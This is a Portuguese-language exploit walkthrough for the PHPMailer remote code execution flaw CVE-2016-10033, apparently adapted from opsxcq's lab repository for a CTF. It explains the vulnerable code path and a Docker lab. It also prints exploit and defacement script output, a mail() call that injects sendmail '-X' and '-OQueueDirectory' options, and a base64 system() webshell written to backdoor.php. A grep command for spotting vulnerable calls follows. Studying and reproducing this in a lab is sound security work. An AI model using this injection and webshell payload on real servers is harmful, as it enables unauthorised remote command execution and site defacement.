
To solve CTFS.me problem
PHPMailer é a classe de transporte mais popular do mundo, com cerca de 9 milhões de usuários em todo o mundo. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e muitos outros
O PHPMailer anterior à versão 5.2.18 sofre de uma vulnerabilidade que pode levar à execução remota de código (RCE). A função mailSend no transporte isMail do PHPMailer, quando a propriedade Sender não está definida, pode permitir que atacantes remotos passem parâmetros extras para o comando mail e, consequentemente, executem código arbitrário através de uma " (barra invertida e aspas duplas) em um endereço From manipulado.
Para configurar um ambiente vulnerável para seu teste, você precisará do Docker instalado e execute o seguinte comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
E isso iniciará uma aplicação web vulnerável em seu host na porta 8080

Para explorar este alvo, execute:
./exploit host:port
Se você estiver usando esta imagem vulnerável, execute:
./exploit localhost:8080
Após a exploração, um arquivo chamado backdoor.php será armazenado na pasta raiz do diretório web. E o exploit lhe fornecerá um shell onde você pode enviar comandos para o backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
E é isso, você tem seu shell. Existe outro exploit, que ilustra outro caso de uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
E se você visitar a página novamente, verá isto:

Antes deste commit no class.phpmailer.php em um determinado cenário não há filtro nos caracteres especiais do endereço de e-mail do remetente. Esta falha pode levar a uma execução remota de código, através da função mail aqui.
Analisando o código, não há filtro na função mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender é anexado diretamente à variável $params, que foi filtrada na função validateAddress(), mas como ela usa a especificação RFC 3696, permite certos caracteres que quebrarão as coisas. Neste caso, aspas:
Além de citar usando o caractere de barra invertida, os caracteres convencionais de aspas duplas podem ser usados para cercar strings. Por exemplo
"Abc@def"@example.com
"Fred Bloggs"@example.com
são formas alternativas dos dois primeiros exemplos acima. Essas formas citadas raramente são recomendadas e são incomuns na prática, mas, como discutido acima, devem ser suportadas por aplicativos que estão processando endereços de e-mail. Em particular, as formas citadas frequentemente aparecem no contexto de endereços associados a transições de outros sistemas e contextos; esses requisitos de transição ainda surgem e, como um sistema que aceita um endereço de e-mail fornecido pelo usuário não pode "saber" se esse endereço está associado a um sistema legado, as formas de endereço devem ser aceitas e passadas para o ambiente de e-mail.
Você pode ler o RFC completo aqui se quiser. Mas também, se a versão do PHP for inferior a 5.2.0 e não houver PCRE instalado, a variável $patternselect em validateAddress() será definida como noregex. Isso fará com que a entrada possa evitar qualquer verificação de regex. Ela passará apenas por uma pequena verificação:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Então, o fluxo do código vai para a função mailPassthru(), que, se estiver em execução no safe_mode, não será vulnerável a esta falha, conforme o código a seguir afirma:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mas, se não estiver em execução no safe_mode, então nosso parâmetro especial será passado para mail() e, se tivermos sorte, ele pegará nosso arquivo contendo o que quisermos que seja escrito onde escolhermos que seja escrito.
A exploração da função PHP mail() não é novidade, mas ainda está viva e as pessoas ainda a usam. Para explicar como funciona, vamos ver como a função mail() é definida:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Existem vários métodos de exploração para diferentes resultados, vamos nos concentrar na exploração do 5º parâmetro para obter Execução Remota de Código (RCE). O parâmetro $additional_parameters é usado para passar flags adicionais como opções de linha de comando para o programa configurado para enviar o e-mail. Esta configuração é definida pela variável sendmail_path.
Uma nota de segurança da documentação oficial do PHP:
O parâmetro additional_parameters pode ser usado para passar flags adicionais como opções de linha de comando para o programa configurado para ser usado ao enviar e-mail, conforme definido pela configuração sendmail_path. Por exemplo, isso pode ser usado para definir o endereço do remetente do envelope ao usar o sendmail com a opção -f sendmiail.
Este parâmetro é escapado internamente por escapeshellcmd() para evitar a execução de comandos. escapeshellcmd() impede a execução de comandos, mas permite adicionar parâmetros adicionais. Por razões de segurança, recomenda-se que o usuário sanitize este parâmetro para evitar adicionar parâmetros indesejados ao comando shell.
Considerando os parâmetros adicionais que podem ser injetados, usaremos -X para explorar esta falha. Mais sobre o parâmetro -X:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Existem também alguns outros parâmetros interessantes que você deve saber que existem:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
E
-O option=value
Set option option to the specified value. This form uses long names.
E para a opção -O, o QueueDirectory é a opção mais interessante, esta opção seleciona o diretório no qual enfileirar as mensagens.
Se você quiser ler a lista completa de parâmetros e opções, execute man sendmail ou leia online aqui
Com base nessas informações e na capacidade de controlar pelo menos um dos outros parâmetros, podemos explorar o host. Abaixo as etapas para uma exploração bem-sucedida:
$additional_parameters e outro parâmetro mail()webroot (também conhecido como /var/www/html para outros sistemas, /www para este exemplo)system() neste exemplo, com um toque de base64 e alguns caracteres especiais | para facilitar a análise.Lembre-se de que a opção -X escreverá o arquivo de log, que conterá entre as informações de log o seu payload PHP, no diretório que você informar. Um exemplo de código PHP vulnerável:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Se você executar o código acima, ele criará um arquivo de log em /www/backdoor.php, esta é a essência deste exploit.
Abaixo o payload usado neste exemplo
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Quer uma maneira fácil, com um comando, de tentar identificar esta falha? Lembre-se deste comando mágico do grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Executá-lo neste repositório resultará em
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Esta vulnerabilidade foi encontrada por Dawid Golunski.
Este ou programas anteriores são apenas para fins educacionais. Não o use sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (opsxcq) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidade fornecidas por estes programas. O autor ou qualquer provedor de Internet não assume NENHUMA responsabilidade pelo conteúdo ou uso indevido destes programas ou quaisquer derivados deles. Ao usar estes programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso destes programas não é de responsabilidade do opsxcq.